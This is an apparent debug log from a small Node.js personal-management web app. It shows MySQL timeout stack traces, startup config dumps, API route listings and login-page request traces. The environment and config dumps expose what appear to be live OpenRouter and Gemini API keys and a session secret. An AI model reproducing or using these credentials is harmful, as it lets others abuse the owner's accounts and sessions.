    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 06:12:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 09:10:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 09:10:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 09:22:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 09:22:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 13:47:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 13:47:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 16:53:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 16:53:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 17:38:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 17:38:40' as DATETIME)"
}
2026-04-21T04:48:14.545Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T04:48:16.814Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T04:48:17.679Z server-connect:setup:upload Upload middleware configured.
2026-04-21T04:48:17.680Z server-connect:secure CSRF Protection initialized
2026-04-21T04:48:17.684Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T04:48:17.687Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T04:48:17.687Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T04:48:17.690Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T04:48:17.698Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T04:48:17.699Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T04:48:17.714Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T04:48:17.727Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T04:48:17.731Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T04:48:17.732Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T04:48:17.735Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T04:48:17.739Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T04:48:17.745Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T04:48:17.754Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T04:48:17.759Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T04:48:17.831Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T04:48:17.832Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T04:48:17.837Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T04:48:17.842Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T04:48:17.849Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T04:48:17.849Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T04:48:17.857Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T04:48:17.859Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T04:48:17.865Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T04:48:17.867Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T04:48:17.871Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T04:48:17.873Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T04:48:17.875Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T04:48:17.881Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T04:48:17.883Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T04:48:17.885Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T04:48:17.887Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T04:48:17.891Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T04:48:17.893Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T04:48:17.898Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T04:48:17.902Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T04:48:17.904Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T04:48:17.915Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-21 06:33:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-21 06:33:18' as DATETIME)"
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
2026-04-21T14:53:55.150Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T14:53:55.325Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T14:53:55.408Z server-connect:setup:upload Upload middleware configured.
2026-04-21T14:53:55.408Z server-connect:secure CSRF Protection initialized
2026-04-21T14:53:55.410Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T14:53:55.411Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T14:53:55.412Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T14:53:55.412Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T14:53:55.413Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T14:53:55.414Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T14:53:55.414Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T14:53:55.415Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T14:53:55.418Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T14:53:55.418Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T14:53:55.418Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T14:53:55.419Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T14:53:55.419Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T14:53:55.419Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T14:53:55.420Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T14:53:55.420Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T14:53:55.420Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T14:53:55.421Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T14:53:55.421Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T14:53:55.421Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T14:53:55.421Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T14:53:55.422Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T14:53:55.422Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T14:53:55.422Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T14:53:55.423Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T14:53:55.423Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T14:53:55.423Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T14:53:55.423Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T14:53:55.455Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T14:53:55.455Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T14:53:55.455Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T14:53:55.456Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T14:53:55.456Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T14:53:55.456Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T14:53:55.456Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T14:53:55.457Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T14:53:55.457Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T14:53:55.457Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T14:53:55.519Z server-connect:router Serving templateView /
2026-04-21T14:53:55.521Z server-connect:app Executing action step identify
2026-04-21T14:53:55.521Z server-connect:app options: { provider: 'security' }
2026-04-21T14:53:55.522Z server-connect:auth No login cookie found
2026-04-21T14:53:55.522Z server-connect:output identity: false
2026-04-21T14:53:55.522Z server-connect:app Executing action step restrict
2026-04-21T14:53:55.523Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T14:53:55.526Z server-connect:output restrict: undefined
2026-04-21T14:53:55.902Z server-connect:router Serving templateView /login
2026-04-21T14:53:55.902Z server-connect:app Executing action step identify
2026-04-21T14:53:55.902Z server-connect:app options: { provider: 'security' }
2026-04-21T14:53:55.902Z server-connect:auth No login cookie found
2026-04-21T14:53:55.902Z server-connect:output identity: false
2026-04-21T14:53:55.902Z server-connect:router Render template layouts/authentication
2026-04-21T14:53:55.903Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.135.189.17',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T14:53:55.900Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.135.189.17',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.135.189.17',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-21T15:14:25.972Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T15:14:26.128Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T15:14:26.213Z server-connect:setup:upload Upload middleware configured.
2026-04-21T15:14:26.213Z server-connect:secure CSRF Protection initialized
2026-04-21T15:14:26.215Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T15:14:26.217Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T15:14:26.218Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T15:14:26.219Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T15:14:26.219Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T15:14:26.221Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T15:14:26.257Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T15:14:26.258Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T15:14:26.258Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T15:14:26.258Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T15:14:26.259Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T15:14:26.259Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T15:14:26.259Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T15:14:26.260Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T15:14:26.260Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T15:14:26.261Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T15:14:26.261Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T15:14:26.261Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T15:14:26.261Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T15:14:26.262Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T15:14:26.262Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T15:14:26.262Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T15:14:26.263Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T15:14:26.263Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T15:14:26.263Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T15:14:26.263Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T15:14:26.264Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T15:14:26.264Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T15:14:26.264Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T15:14:26.264Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T15:14:26.264Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T15:14:26.265Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T15:14:26.265Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T15:14:26.265Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T15:14:26.265Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T15:14:26.265Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T15:14:26.266Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T15:14:26.266Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T15:14:26.325Z server-connect:router Serving templateView /
2026-04-21T15:14:26.358Z server-connect:app Executing action step identify
2026-04-21T15:14:26.358Z server-connect:app options: { provider: 'security' }
2026-04-21T15:14:26.360Z server-connect:auth No login cookie found
2026-04-21T15:14:26.360Z server-connect:output identity: false
2026-04-21T15:14:26.360Z server-connect:app Executing action step restrict
2026-04-21T15:14:26.360Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T15:14:26.363Z server-connect:output restrict: undefined
2026-04-21T15:14:26.496Z server-connect:router Serving templateView /login
2026-04-21T15:14:26.497Z server-connect:app Executing action step identify
2026-04-21T15:14:26.497Z server-connect:app options: { provider: 'security' }
2026-04-21T15:14:26.497Z server-connect:auth No login cookie found
2026-04-21T15:14:26.497Z server-connect:output identity: false
2026-04-21T15:14:26.497Z server-connect:router Render template layouts/authentication
2026-04-21T15:14:26.498Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
